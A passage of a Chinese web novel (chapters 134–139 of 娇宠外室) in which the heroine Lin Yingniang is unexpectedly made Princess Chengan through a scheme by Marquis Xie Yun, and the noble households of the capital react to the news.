《娇宠外室》 第134章 圣上是不是看上了我? 届时天子已离世,没有人会将林莺娘的死牵连在他的身上。 但做此事的人得是他至亲至信之人。 争夺储君之位的几位皇子圣上信不过,平阳公主到底天真,不谙世事,思来想去,此事唯有六皇子所为最为妥当周全。 他是皇子,天子声名与他休戚与共。 他又无母族权势傍身,不必担忧他争夺储君之位,再兼他曾在朝上与谢昀交恶,不会徇私,牵连其中。 是以圣上找了六皇子来,将林莺娘的身世说与他知晓,再细观他态度。 他希望六皇子如他所想,是个聪慧睿智的皇子,能明了他的心意,为他所用。 果然,六皇子不负圣上所望,他抬手行礼,将谢昀嘱咐的话一一说出。 最后敛目道:“儿臣以为,林姑娘的身份之事是小,父皇的声名才最为重要。天下人久传当年昔太子离世流言,父皇早已不胜其扰,却苦无清正声名之法。此番若是留她在宫中,恢复其皇室身份,此举必能堵了天下的悠悠众口,父皇也不必再受流言侵扰。” 他字字句句,均为天子着想。 圣上欣慰看他,“好,不愧是朕的儿子,那此事便交由你去办吧!” 林莺娘在偏殿等了大半日,也没能等到圣上宣她面圣,倒是等到了六皇子来见她。 “民女林莺娘见过殿下。” 她已见过六皇子数次,自然识得,起身向他行礼。 “林姑娘不必客气。” 六皇子和颜悦色,走到她身边,纡尊降贵伸手来虚扶她,林莺娘惶恐起身,“谢殿下。” 见着六皇子,她心里稍稍安定了些许。 她知道谢昀是六皇子的人,想来他也不会为难了自己,是以壮着胆子来问,“殿下过来,是来带民女过去面圣的吗?” 林莺娘以为圣上要见她。 六皇子摇摇头,温声对她道:“父皇身子不适,不便见林姑娘,是以让我来与姑娘说一声。” 圣上不见她。 林莺娘心里的大石算是落了地,但她也好奇圣上突然见她所为何事。 问六皇子,六皇子却是淡笑不语,“林姑娘以后便知,现下我送林姑娘出宫去罢。” 六皇子亲自送林莺娘出宫。 宫门外,谢昀的马车正候着。 一上车,林莺娘的腿便软了,险些没撑住,栽进了来扶她的谢昀怀里。 “这是做什么?”谢昀难掩戏谑,垂眸看她,“莫不是圣上面前跪不上了,跑我面前跪来了?” 怀里的姑娘抬头,是梨花带雨的一张脸。 “我差点吓死了!” 她提了许久的心,见着谢昀才算是重重落了下来,委屈,恐惧瞬间席卷了她。 她心里实在委屈极了,不由瘪嘴哭出声来,“侯爷,我还以为我死定了。” 她抱着谢昀,哭得很是伤心。 没人告诉林莺娘,圣上见她是为着什么事。 待着偏殿的那半日,她只能自己胡思乱想,可无论如何也想不明白。 说到底,她不过江州偏远之地来的姑娘,从前十数年是连金陵城什么富贵模样也不知晓的,皇城深宫对她来说从来遥不可及。 如今却陡然要面见天子。 这世上没有人不惧怕天子,他掌着天下人的生死,拿捏着所有人的命脉。 她知晓,这不是她平日里插科打诨便能轻易蒙混过去的。 她能使出的所有伎俩,在绝对的权势倾轧下都不过是小打小闹而已,班门弄斧。 林莺娘胡思乱想的当头,还想起了谢昀。 他是那样冷漠无情的一个人。 若是自己当真得罪了天子,他是必不可能来救自己的,说不定还要坐壁旁观,将自己摘得干干净净才好。 这般一想,林莺娘当真是恨极了谢昀。 若不是他费尽心思将自己卷进金陵城这滩浑水里,自己又如何会被圣上瞧见。她心思伶俐得很,那什么“金陵城第一美人”的鬼话,必定是谢昀放出来的,只是不知道他有何用意。 林莺娘恨他恨得咬牙切齿。 她想,她此番纵是死了,再做一回鬼,定不能放过了谢昀,要叫他也下地狱。 她怀揣着这样的愤恨提心吊胆过了半日,好不容易出宫来,第一眼看见谢昀,就鼻子发酸,心里委屈,再也忍不住泪意,扑进他怀里哭得昏天黑地。 她一面恨他,一面在这金陵城里,能依赖的也只有他。 林莺娘抽抽噎噎地哭,嘴里还嘟嘟囔囔说着什么。 夹杂着哭腔,含混不清,谢昀细细听也听不清,只得冷着脸吼她,“不许哭!再哭将你扔下去!” 这样的威胁最是有用。 面前的姑娘果然被吓住,一双娇怯怯清眸堪怜,眼角还悬着一滴泪,将落未落,轻轻一眨,泪珠儿便滚了下来,说不出几多可怜。 谢昀却将她搂进怀里坐下,那眉眼间的清冷散去,反而带了几分轻浅的笑意。 他温着声哄她,“方才说什么,再说一遍。” 林莺娘泪眼朦胧,又不敢忤他的意,生怕他当真将自己扔下去,只得低着头,抽抽噎噎着道:“圣上他是不是看上我了,要将我带进宫里为妃呀?” 她一边说,一边又忍不住哭,“怎么办?我要是进宫了,他肯定会知道我不是清白之身,那圣上会不会杀了我?还有我母亲,是不是也要被牵连九族?” 什么乱七八糟的话,谢昀简直要被她气笑。 又见她哭得实在伤心,这才忍着耐心蹙眉问她,“你从哪儿听来的这些乌糟话?” 谢昀说的是林莺娘进宫为妃的话。 林莺娘以为他是问自己最后那句牵连九族,抽噎了一声,“所……所有人都是这么说的呀!不是都说得罪了圣上,他生起气来,动不动就是要株连人九族的。那岂不是杀了我还不够,还要杀我母亲。那采雁怎么办?她也被算在九族内吗?我们不会都要死了吧?” 谢昀越听脸色越黑。 倒不是为着林莺娘这不着边际的话,而是她九族都算尽了,也没能将他算在里头。 感情在她心里,她那贴身丫鬟的分量,比自己这侯爷还重上不知多少。 但他又不能说,难不成自己堂堂一侯爷,还跟个丫鬟争高下。 只是抱着林莺娘的手隐隐用力,她受了疼,忍不住“嘶”一声,想躲,却被禁锢在谢昀怀里。 喜欢娇宠外室请大家收藏:()娇宠外室更新速度全网最快。 第135章 我就知道侯爷定然舍不下我 他强势极了,看过来的眼也带着浓浓不悦,“谁告诉你圣上看上你了,要带你进宫为妃?” “没……没有人。”林莺娘含着泪,温温怯怯看他,“我自己猜的。” 她自己独身在偏殿时胡乱猜的。 自己没权没势,圣上要见她一个江州来的小姑娘,能有何事?想必是前段时日那个所谓的“金陵城第一美人”的传言叫圣上听了去,这才起了心要见自己。 林莺娘的心啊,简直像豁开了个大口子,里头灌满了北风,浑身上下霎时凉了个通透。 她知道当今天子的年岁已经很大了,算上去,足是可以做她祖父的年纪,就算清白一事自己想法子蒙混了过去,说不准什么时候天子就双腿一蹬,一朝归了西。 大鄞朝是有宫嫔随葬的先例的,她年纪小,又没有子嗣,极有可能被选为随葬宫嫔。 林莺娘从来没觉得自己一生这样坎坷多舛,便是重生回来又如何,面前是一个接一个的鬼门关等着自己。 她沉浸在自己的悲凉命运中不可自拔,没瞧见谢昀已然黑透了的脸。 他当真是被气笑了。 清冷疏离的郎君,头一遭咬着牙,眉眼间的疏朗不再,取而代之的是覆着的泠泠霜寒。 这样的时候,他还有兴致来戏谑她,顺着她的话道:“进宫不好么?当了圣上的妃子,可就当真是荣华富贵享之不尽了,这不正是你孜孜以求的么?” “可是圣上年岁很老呀!” 她在他面前向来市侩又虚荣,倒是也不遮掩,“他都老到可以当我祖父了。往后驾崩了不会还要我殉葬吧?” 林莺娘是真的担忧自己的性命,谢昀也当真是叫她气笑了。 好得很。 她还当真考虑起了进宫的事,半点没将他这个侯爷放进眼里。 林莺娘到底是被赶下了马车。 是临近年节冰冷冷的天,这样冷的天,街上百姓都寥寥无几,她拢紧了银狐毛的披风艰难在北风中行走,说不出有几多娇弱可怜。 有途经她身边,见她貌美,“好心”上来搭讪的郎君,“小娘子这是要去哪儿?怎得一个人在路上走。” 林莺娘抬眸看他一眼,眸中满是警惕。 那人却笑,“小娘子这般看着我做甚么?我又不会吃了你,不过是看姑娘一个人在这路上走,很是可怜,想着送送姑娘。” “不必。” 林莺娘拒绝得干脆又果断,这人的不怀好意简直刻在了面上,活脱脱下一个庆王府小世子。 她越过他想要离开,又被拦下,那人的脸上有被拒绝后气急败坏的怒意,“你这小娘子,好生不识好歹,本公子看得上你那是你的脸面,你可别给脸不要脸。” 街上人迹寥寥,偶有见着这边动静的,也避开眼匆匆走开。 这更助长了那人的嚣张气焰。 他直直逼近林莺娘,手也不安分,要来摸她的脸颊,可惜还没触到,那只手忽然被人反手狠狠拽了过去,扭得他生生痛叫了出来。 林莺娘看着来人,是青山。 再看旁边,马车里的谢昀正冷着一张脸,见她看过来,撩起的车帘才摔下来,他冷漠无温的声自车帘后传来:“上车!” 林莺娘忙不迭爬上了马车。 进去前还回头看了青山一眼,那欲调戏她的狂徒被他反手擒在地上,龇牙咧嘴地求饶。 “想看便滚下去看。” 里头的声音更冷。 他还没消气。 林莺娘连忙敛目,撩帘进了车里。 她笑嘻嘻来哄他,“我就知道侯爷定然舍不下我。” 厚颜无耻,巧言令色,说的都是她。 谢昀看了她一眼,“再啰嗦,便滚下去。” 冷冰冰,不留情面。 林莺娘立即噤声,咬着唇,在心里偷偷骂他。 他洞察人心的眼又看过来,“又在心里置喙我什么?” 姑娘连忙摇头。 看过来的,是这世上最可怜无辜的脸。 在察言观色,谨小慎微上,没有人比得过她。 谢昀深深看她。 是分明洞穿的眼,细细看,那波云诡谲里面却掺杂着旁的什么东西。 打量,算计,还是谋划…… 林莺娘分辨不清。 但经刚刚被扔下马车一遭,她是再不敢去触谢昀霉头了,满腹疑虑只搁在心里。 闷声闷气憋了一路。 回到雾凇院里,采雁还在这里等着她。 主仆俩本来是要今日离开金陵城的,却被进宫一事耽搁了下来。 “姑娘,咱们今日还走吗?” 采雁不知今日林莺娘进宫所为何事,她初时也心慌意乱,如今见着林莺娘平安无事才放下心来。 只是林莺娘脸色不好,她小心翼翼地问,“姑娘怎么了?是在宫里发生了什么事吗?” 林莺娘摇摇头。 什么事都没有发生。 采雁难免好奇,“姑娘可见过圣上了?圣上生得什么模样啊?” 林莺娘又摇头。 采雁糊涂了,“什么事都没发生,又没见过圣上,那姑娘今日进宫是去干吗了?” 问的是呢! 林莺娘也糊涂。 她思来想去,觉得金陵城这下是彻底待不了了。不管圣上是不是看上了她,宫里这趟浑水她是万万不能搅进去,没得自己的小命交代在了这里。 林莺娘打算带着采雁离开。 好在她们今日本来就是要离开金陵城的,丫鬟来来往往,见她们拿着包袱行走也没有人起疑。 大门到底显眼,为生事端,主仆俩走的是角门。 未料一开门,青山堵在了门口。 “姑娘这是要去哪儿?” 他看见了采雁手里的包袱。 和先前声势浩大的离开不同,这次林莺娘为了掩人耳目,只拣了贵重的细软首饰带上。 她把采雁拉到身后,笑了笑,欲盖弥彰说话,“没去哪儿。青山大人今日怎么得闲过来,不用在侯爷身边当值吗?” 青山是来替谢昀传话的。 他一本正经道:“侯爷说了,姑娘若是想离开,也不急这一时半会儿。今日天色晚了,出行恐不安全,还请姑娘先回雾凇院歇着,明日侯爷下值自会亲自来送姑娘。” 林莺娘还想挣扎,“不用了,怎么好耽误侯爷的事,我们自己走便好……” 她拉着采雁想离开。 主仆俩出不去。 青山像座山似的挡在角门,动也未动,只伸手朝她们示意,“姑娘,请——” 喜欢娇宠外室请大家收藏:()娇宠外室更新速度全网最快。 第136章 什么成安公主 林莺娘和采雁被迫回了雾凇院。 兰秋和银翘看见她们很是欣喜,“姑娘今日不走了吗?” 她们高高兴兴来接采雁的包袱,全然没瞧见林莺娘面如死灰的脸。 明日? 她想,谢昀看她看得这般严实,明日怕不是就是自己的死期。 只是未料。 翌日打开门来,竟是泼天的好消息。 是宫里的人一大早来了雾凇院宣旨。 面前的内侍脸上笑得谄媚,眼角的褶子都挤在了一起,“恭喜成安公主,贺喜成安公主,圣上正在宫中等着公主呢,公主快快随奴婢回宫中谢恩吧!” 不是妃嫔。 是公主。 突如其来的旨意砸得林莺娘晕头转向,她跪在地上,不可置信,喃喃问,“什么成安公主?” 内侍扶她起身,笑着耐心又解释一遍。 “成安公主想来是高兴坏了。奴婢不是说了么?殿下乃是昔太子殿下的血脉,当年东宫失火,殿下的父亲因此不慎流落民间。好在苍天有眼,庇佑大鄞,竟将殿下好生送到了圣上面前。圣上圣心大悦,恢复了殿下的封号和公主身份,如今正在宫里,等着殿下回去团聚呢!” 林莺娘总算听明白了,但人仍是浑噩不清的。 什么昔太子血脉? 她是污秽泥沼里摸爬滚打出来的可怜人,没办法将自己与尊贵的昔太子殿下血脉联系在一起。 倒是雾凇院里的丫鬟们听了皆雀跃不已,过来恭维道喜。 “奴婢见姑娘第一面就觉着姑娘龙凤之姿,贵不可言,绝非池中物,原来姑娘竟是昔太子殿下的血脉……” 殷勤的话未说完便被打断,“还叫姑娘,这是成安公主殿下!” “对对,该唤殿下才是。” 丫鬟们异口同声,齐齐见礼拜下,“见过成安公主千岁——” 山呼千岁声让林莺娘回了神。 她茫茫然环顾四下。 因着圣旨到,雾凇院里的所有丫鬟小厮都聚在院中,如今皆对着她屈膝拜下。 虔诚,恭敬。 就连采雁,本也是恍然不知所以,被银翘和兰秋拉着一同跪了下去。 面前的内侍又来请林莺娘,“殿下,圣上还在宫里等着呢,殿下快快随奴婢入宫罢。” 宫里自有人上前来伺候搀她。 林莺娘没动。 “侯爷呢?” 她总算回神,却是出声问谢昀。 满院子丫鬟小厮面面相觑,答不上。 倒是方才的内侍接过话,“殿下放心。小侯爷今日早朝便得了消息,想来现下正在内阁当值。殿下快些随奴婢进宫面圣去罢,小侯爷下了值便会来见殿下。” 说完,还容不得林莺娘再问什么,内侍们已经团团上前来,将她簇拥着送上了回宫的鸾轿。 这是林莺娘第一次面见天颜。 她匍匐着背脊,跪在玉石砖上,单薄的衣裙挡不住透骨的寒,冷意顺着膝盖缝直往心尖上钻,身子禁不住得瑟瑟发抖。 林莺娘能感觉到圣座之上,珠帘之后。 那道摄人心神的目光。 沉沉倾轧,压得她几乎喘不过气来。 “民女林莺娘,见过圣上,圣上万岁万岁万万岁。” 话音落地,静默无声。 是长久的沉默。 天威赫赫,林莺娘的背脊不由又压弯了几分。 这当头,姑娘脑子里还能胡思乱想。 她想起当年平阳公主染疾,圣上大赦天下时。 姜氏搂着她,对她说的话,“可怜我的儿,都是一日里生的,人家就是皇亲贵胄,贵不可言,我们杨柳儿就是地里的泥沼,谁都能来欺一欺,当真是不同命。若是我儿能同她一般生在皇家……” 姜氏到底是没说完。 她牵着嘴角无奈笑了笑,自己都觉得自己在痴心妄想。 却不料世事竟如此奇妙。 林莺娘想,若是母亲知道她当时妄言今朝成了真,不知会是怎样作想。 胡思乱想间,高坐在上的圣上沉沉出声,“起来罢。” 他唤林莺娘上前来。 有内侍上前,层层珠帘挽起。 林莺娘缓缓抬眸。 她见到了龙椅之上的圣人。 果然如自己预料的一样。 他年纪真的很大了,垂垂老矣,是足可以做她祖父的年纪。 他身体也不好,虚虚倚坐在龙椅上,肉眼可见的苍老和憔悴。 只眼神锐利,似要洞察人心。 “你该唤朕一声皇祖父。” 圣上沉重的声音传来。 林莺娘敛下眸,再不敢看,低声怯怯,“民女不敢。” “你别怕。” 圣上安抚她,又掩嘴咳嗽了两声。 有内侍躬身上前轻抚他背,递上缓解的鼻烟壶。 圣上嗅了几下,觉得好些了,才摆摆手让他们下去,接着对林莺娘道:“朕本来就是你皇祖父,你唤这一声是应当的。” 圣意不可违。 林莺娘抿着唇,终于低低唤出声来。 “皇祖父。” 圣上听得这一声,面上眼见得和颜悦色起来,他看了看林莺娘,满意点头,“你与你的亲祖父甚是肖像。” 这章没有结束,请点击下一页继续阅读!他说的,是那个名义里死在东宫大火里的昔太子殿下。 林莺娘始终垂着眸。 圣上又道,沙哑的声,是回忆往昔的口吻。 “昔年进学,朕与你祖父最是要好。后来你的父亲出生,朕也曾抱在怀里哄过,朕还记得,他那时最喜欢朕带去的枇杷膏了。” 林莺娘听得心惊胆战,面上却不敢显露分毫,只沉默听着。 圣上转头问她,“听说你自幼便与生父离散,可知他是个什么样的人吗?” 他问的,是她的亲生父亲,杨盼山。 圣上问询,林莺娘不敢不答,“回圣上,民女当时年幼,并不清楚。” 她深知说多错多的道理,只敢拣着不重要的答。 圣上重重叹气,“也是,你自出生便没见过他,自然不知。可惜他年纪轻轻便丧了命,只留了你这么一条血脉在世上。” 话里极是惋惜。 林莺娘也适时红了眼眶。 她对杨盼山自然是没感情。 只是进宫的路上有内侍将前因后果说与她听。原来那所谓的昔太子血脉指的是她的生父杨盼山。 内侍事无巨细,连带着杨盼山的死讯,也一同告知她。 林莺娘知道,自己此时该装得才知晓生父死讯的凄怆模样。 掩在衣袖里的手死力一拧。 她力气用得狠了,眼圈立时红了,再垂眸咬唇,泪便止不尽的落了下来。 是刚得知父亲死讯的可怜姑娘。 “可怜的孩子。” 圣上出声安慰她,“别难过,好歹你是回家了。往后就在宫里好好待着,这宫里就是你的家。” 他未必没有看穿她。 圣上见多了朝堂上的波云诡谲,又岂会被这点小伎俩诓了去,更何况他已经查到了她的生平。 ——一个处心积虑,冒名顶替混进林府的姑娘。 若说她没半分心机,圣上是万万不信的。 不过无妨,圣上要的,只是林莺娘这个人。 她的为人处事如何,圣上一点儿也不在意。 喜欢娇宠外室请大家收藏:()娇宠外室更新速度全网最快。 第137章 这可是欺君之罪呀 这一场认亲的好戏点到即止。 圣人乏了,姑娘也哭累了,有内侍上来带林莺娘下去。 她如今是成安公主了,圣上拨了宫里西南角的成安殿给她住,一应出行用度也俱按着平阳公主的份例操办,不可谓不风光煊赫。 按宫里人的话来说,这是圣上惋惜昔太子殿下,是以对她这个仅存的血脉格外看重。 成安殿内,宫人鱼贯而入,数不清的赏赐恩典送进来。 里头有林莺娘素日最爱的绫罗绸缎,珠宝首饰。 曾经她孜孜以求的,如今都眼巴巴捧到她面前。 她几乎要被这满目富贵迷了眼。 林莺娘也当真是迷了眼,衔着三颗南海明珠的金凤步摇经宫人的手簪去鸦青发间。 步摇轻轻摇曳,她的眼也跟着晃。 里头是明晃晃的市侩与贪婪。 口中不由喃喃道:“我的天,纯金的呀,不知道庆王府半年的俸禄能买几支这样的步摇……” 她还惦记着之前庆王府被罚半年俸禄的事。 谢昀刚下值便过来。 一脚刚踏进成安殿里,骤然听见的便是姑娘这么一句感慨。 四下伺候的宫人皆听见了,抿着唇偷笑,抬眼瞥见谢昀,立即收起笑恭敬行礼,“见过侯爷。” 林莺娘也来行礼,被谢昀拦下。 姑娘抬头不解看。 她鬓边的凤凰步摇还簪着,颤颤巍巍的好看,却见面前的郎君抬手行礼,玉树清风的朗朗姿态,就连语调也是落拓沉稳的。 “微臣见过殿下。” 谁也没听见,姑娘悄无声息地轻呼了一声,将讶异止于唇间。 是了。 现下她是殿下,他为臣子,他该当给她行礼的。 任是林莺娘从前想破脑袋也想不到。 有一日,谢昀会向自己行礼。 他是那样高高在上又矜贵清傲的一个人啊! 往常自己跟他说话都得在心里斟酌再斟酌。 如今他却在自己面前,弯了他高傲的背脊。 林莺娘想到此,实在忍不住的沾沾自喜,她弯了眉眼,学着此前平阳公主的模样出声。 “侯爷不必多礼。” “谢殿下。” 谢昀起身看她。 姑娘的暗喜逃不过他洞悉的眼。 好在林莺娘也知道收敛,不过片刻便又正了神色,又是装模作样的派头,吩咐宫人。 “好了,你们去外面伺候吧,本宫与侯爷有话要说。” 姑娘的装模作样没有维持多久,待到宫人们甫一退出去,她便忙不迭凑上来。 不复往日浓情蜜意,是焦急的神色,“侯爷,这成安公主究竟是怎么回事啊?” 她知道这一切都是谢昀的手笔。 只是没想明白,自己好端端的,怎么就从预料的妃嫔变成了公主? 谢昀倒是眉眼平静。 这样的时候,他还有闲心伸手来拨姑娘鬓边晃着的步摇,慢悠悠点头赏评,“这支步摇不错,很是衬你。” “是吧?”林莺娘闻言心里喜滋滋。 鬓边的步摇一晃一晃,很是得意,“这上头的珠子可是南海的明珠呢!听说一颗都价值连城,我这头上,可顶了三座城池。” 她一贯如此。 他说风花雪月,她只计较凡尘俗利。 转头回过神来,才收起满脸得意嗔怪他,“我的侯爷呀,现在是说这些的时候么?” 林莺娘心里焦急。 她莫名其妙进了宫,又莫名其妙成了成安公主,此时这心里正是忐忑得紧。 他却又将话头扯开,只垂眸来问她,“怎么,当公主的滋味不好么?” 自然是好。 锦衣玉食,绫罗绸缎,膏梁锦绣的富贵好日子。 林莺娘点头又摇头,窃窃低声,幽幽叹气,“好是好,就只怕好日子短暂……” 也怕小命难保。 她现下还有个最最要紧的事,定是要找谢昀问个分明。 林莺娘抬起头,看着他,目光期许,“侯爷,我这公主身份,是真是假啊?” 她自受诏进宫起,便怀揣着这个疑虑。直到现下见了谢昀,才问出口。 谢昀又不答。 他在满桌的恩典赏赐中,拣了个南珠做的耳坠子,随手往林莺娘耳边比划,却是淡淡问她,“你觉得呢?” 这是说得什么话? 林莺娘提着的一颗心啊,被他拎起来,悬在半空中来来回回地晃。 到底是还得求他。 娇弱可怜的声,连语调都是婉转缠绵的,“侯爷……你别卖关子了,就告诉了我罢……” 送上门的温言软语,他受用得很,轻轻一笑,将那南珠坠子挂在了姑娘耳坠上。 “还是这个耳坠更配你。” 他又垂眸来看林莺娘,似笑非笑的眼里有暗流涌动,沉沉盯着她,“你希望是真的还是假的?” 林莺娘被他盯得心里发毛,可是还得答。 微微颤抖的声,“我自然是希望是真的……” 谁不想自己有个显赫的出身。 更何况林莺娘是从阴沟泥沼里爬出来的,便更是可望不可求。 “呃……” 谢昀沉吟半晌,似是在思虑。 他捻起姑娘耳坠边一缕长发,终于开口,声音懒散又随意,“那就是真的罢。” 这样的语气,这样的话。 落进林莺娘耳里,便是另外一层意思。 “假的啊……” 姑娘眼里的光眼见得暗淡下去。 她的失落写在面上。 她就知道。 杨盼山那样抛妻弃子的赌徒混账,合该就是阴沟里的臭泥鳅,怎么可能是昔太子殿下的血脉。 但是她还是妄想过。 在进宫的鸾轿里,在圣上面前恭敬跪着的时候,她也会有一丝丝的妄想。 倘若……倘若这万一是真的呢? 那是不是说明,她并不是青楼楚馆里摸爬滚打出身的苦命孩子? 她也有着和平阳公主一样的尊贵血脉。 她本也可以过着和平阳公主一样的人生。 林莺娘对平阳公主的艳羡从来袒露在面上,那是积年累月,在数不清的仰望里囤积下来的孜孜以求。 如今一遭落了空。 他还来好心温声宽慰她,“真的假的有什么要紧,你现在不就是成安公主么?” “怎么会不要紧?” 姑娘东张西望,眼见四下无人才凑过来,踮脚附耳,咬着牙,声音压得极低。 “这可是欺君之罪呀!” 喜欢娇宠外室请大家收藏:()娇宠外室更新速度全网最快。 第138章 母亲现在可有后悔了吗? 她靠得太近,耳坠子晃荡在他面上,有些凉。 他是坐怀不乱的神仙,动也未动,只是敛眸深深看她,“有我在,你怕甚么?” 他语气轻飘飘,欺君大罪在他眼里仿若一件无足轻重的小事。 林莺娘可没他泰山崩于前也不改色的魄力。 她声音发抖,人也跟着抖,“侯爷,叫人知道,我们会死的。” “死了不挺好?” 她越慌乱,谢昀越起了心去逗她,“你不是早盼着我死么?” 林莺娘心里的那些小九九,他都一清二楚。 伸手搂姑娘进怀,两人贴得亲密无间,“我们一起死,到地府做一对野鸳鸯,岂不妙哉?” “再说了,你这假冒的林二姑娘装得多像,叫人瞧不出半点纰漏来。” 她从前在林府,可没有人对她这林二姑娘的身份起过疑。 谢昀嗓音和缓,在她耳边,如惑似诱,“我相信,这假冒的成安公主,对林二姑娘来说,也亦是轻巧得紧。” 怀里的姑娘听着这大逆不道之言,腿脚皆软,如踩云雾一般,几乎支撑不住。 林莺娘深以为谢昀是个疯子。 只是从前他自己疯也就罢了,如今还要拉上自己一起下地狱。 谢昀见她被自己吓得着实不轻,这才歇了逗她的心思。 “你放心。” 他抬手,揉着她坠着南珠的耳垂,淡淡出声,“有我在,你死不了。你就在这宫里,好好当你的成安公主罢。” 圣上找回了先太子殿下的血脉。 这样大的消息,金陵城很快传得沸沸扬扬。 先得知消息的是庆王府。 霍子毅听说林莺娘进宫,被封为成安公主的消息很是高兴,手里的折扇猛地一敲,“果然本世子慧眼识人,那美人儿长得跟仙子似的,哪像是江州那贫瘠之地出来的明珠,合该是金陵城的凤凰才是。” 他连声招呼十八,“快快,给本世子整衣束冠。” 十八满脸懵,“世子,你要干嘛?” “我去宫里见美人儿啊!”霍子毅兴致勃勃整理身上的衣裳。 他早有心要见林莺娘。 先前她被谢昀藏在雾凇院里,他绞尽脑汁也不得一见,如今林莺娘进了宫,倒是方便了他。 只是人还没出门,就被庆王逮住。 他疾言厉色,“混账!你又要去干嘛?” “我去宫里恭贺刚封的成安公主啊!” 霍子毅理不直气也壮,“这成安公主刚刚被封,正是多少双眼巴巴盯着呢!儿子带上贺礼,代表咱们庆王府过去,赶在那些人前头,保管公主殿下记忆深刻。” 话是说得没错。 只是十八小心翼翼在后头扯他的衣袖,低声提醒,“世子,您的禁足还没解呢!” 是了。 霍子毅身上还有三个月的禁足。 他方才得意忘形,一时忘了,咬牙低声问十八,“这事你怎么不早点说?” 十八委屈极了。 “您也没让我有说的机会啊!” 满心雀跃打了水漂。 霍子毅再转头,小心翼翼和面前瞪着自己的庆王打商量,“父王,要不趁着这次封成安公主的机会,您求圣上,把我的禁足解了吧!” 庆王看着自家儿子这不成器的样子,忍了又忍,到底是没忍住,厉声吩咐十八,“把世子带回去,好生关着。他若踏出院子一步,本王唯你是问。” 庆王吩咐,十八哪敢不从,不顾霍子毅的哀求,硬生生将他拖了回去。 途中正遇见庆王妃,霍子毅又是鬼哭狼嚎。 “母妃,您救救我!快帮我向父王求求情!” 往常这招最好使。 庆王妃向来疼他,霍子毅哭着求两声她就心疼坏了。 只是今日这招失了灵。 庆王妃看也未看,径直从霍子毅身边走了过去。 她身边的嬷嬷还吩咐,“将世子看紧些,世子倘若出了差错,小心你的皮!” 可怜的十八,连番被威胁两遭,忙连声应下。 霍子毅到底被拖回了自己院里。 现在不止庆王府,连自己院中也出不去。 嬷嬷自来看他长大,也心疼,“王妃,咱们就这么关着世子吗?” 庆王妃点头。 她拧紧了帕子,眼神坚定,头一遭对自己的亲子狠下了心。 “王爷说得不错,宫里这趟浑水,咱们庆王府绝不能牵连进去。” 定远侯府的谢夫人也得知了林莺娘被封为成安公主的消息。 “什么公主?” 她不可置信,险些跌了手里的茶盏,好在叫李嬷嬷眼疾手快接了下来,只是里头的茶水到底漾出来些许。 谢夫人也顾不上擦,忙起身问雾凇院来报的小厮,“你可听仔细了,确定是江州来的林二姑娘?” “错不了。” 小厮点头,“奴才亲眼看着宫里的人将林二姑娘接走的,夫人若是不信,可去雾凇院看看。眼下林二姑娘已跟着宫里的鸾轿进宫去了。” 出了这样大的事。 谢夫人自然要来雾凇院瞧。 林莺娘果然不在,满院子只有丫鬟小厮,细细问起来,都是和报信的小厮一样说辞。 本小章还未完,请点击下一页继续阅读后面精彩内容!“她竟是公主……她怎么会是公主呢……” 谢夫人骤然卸力,整个人如失了魂一般跌坐进圈椅里。 先前她对林莺娘做的事,桩桩件件,可都历历在目,她心有戚戚。 偏这时,定远侯府又有人来报有客到。 是金陵城里几家侯爵家的主母,都是听了林莺娘被封了成安公主的消息过来道喜的。 她们一改先前编排林莺娘打秋风的说辞,皆是眉开眼笑,热热闹闹。 “恭喜夫人,贺喜夫人,我们都听说了,原来夫人家里那个江州来的远亲林二姑娘竟是已故昔太子殿下的血脉,这可真是天大的好消息呀!” “是啊!这可不是天上掉下来的好机缘。如今这林二姑娘已经被圣上接进了宫,封为了成安公主。这么大的喜事,我们几个听见,忙忙都赶过来给夫人您道喜呢!” 她们你一言我一句,看不见谢夫人苍白的脸。 也有人看见,却是笑,“夫人这是怎么了?怎么神情恍恍惚惚的?是不是被这天大的喜事给吓住了,高兴得昏了头?” 谢夫人勉强撑着笑,“是啊!这真是件天大的好事,我实在太高兴了,一时昏了头,怠慢了各位,还请莫怪。” 没有人会怪她。 她们殷勤奉承着谢夫人,口中说的尽是奉承的话,全然忘却了先前说起林莺娘时的嫌恶。 只有谢夫人记得。 她好不容易强撑着,将各位贺喜的夫人送出府。 一回头,谢子慎撑着拐,立在回廊转角处默默看着她。 府里阵仗闹得这样大,他也听说了林莺娘的消息。 冬日里的日头算不得暖,隔着翘檐落在他面上更是凉瘆瘆的。 他牵起嘴角,露出一个勉强的笑,轻声问谢夫人,“母亲现在可有后悔了吗?” 喜欢娇宠外室请大家收藏:()娇宠外室更新速度全网最快。 第139章 你是不是早就知道林莺娘的身份? 谢昀回府,谢夫人在正堂等着他。 她的面容从晨起知道那个消息便一直苍白,黯淡无光,见着谢昀,也没什么气力。 谢昀先向她行礼,“母亲。” 谢夫人摇摇头,神色虚弱乏力得很,“你别叫我母亲,我担当不起。” “母亲这是怎么了?”谢昀明知故问。 谢夫人直勾勾地看着他,“你是不是早就知道林莺娘的身份?” 她再也没有力气维持母慈子孝的假象。 “母亲多虑了。”谢昀拂袖,在一旁的圈椅里坐下,“儿子也是今日早朝才得知的消息,只是一直未来得及告诉母亲。” 他看谢夫人的模样,“想来母亲这是已经知道了。” “我自然知道。”谢夫人牙根咬紧了,语带嘲讽,“金陵城里有头有脸的勋爵人家都带了贺礼上门来贺了,我岂能不知。” 她再看谢昀,“果然是我教养的好儿子,这样大的事,你也瞒着我。平日里看我与她不对付,你是不是很得意?你究竟想做什么?是不是早等着这一日?你想借着她的手来整治我?” 她撑起身子从圈椅里坐起来,一字一句,“你是不是一直觉得是我害死了你的生身母亲?” 谢昀没回答。 她反而觉着委屈,“我知道,你这些年一直误解我,一直觉得姐姐是被我给害了,是以这才与我不亲。可是琢章……” 谢夫人以手抚胸,痛心疾首落下泪来,“我当真是受了天大的冤枉。” 谢昀眉眼平静,看她做戏。 谢夫人还在哭,当真委屈可怜,“当年是姐姐的遗愿,要我过来照看你,此事也并非是我情愿的。若我早知你会因此疑上我,怨怪我,当年说什么我也不能答应了姐姐……” 她一口一个姐姐,格外亲密。 反正当年之事年久日深,早已无从查起,真相实情,全由她一人信口白牙胡诌。 她也是知晓谢昀没有真凭实据,不然也不能这么多年同她装作母慈子孝的模样在这里虚与委蛇。 是以她仍在装。 “琢章,你要实在是怨怪我,我也没有法子。反正在你心里,总觉得是我抢走了姐姐的位置。事到如今,我是百口莫辩,不如这样?我自请下堂,出家伴青灯古佛,将这侯府主母的位置还给姐姐,我只求你,看在你与子慎兄弟血脉的份上,好生替我照看他。” “母亲这是说的什么话?” 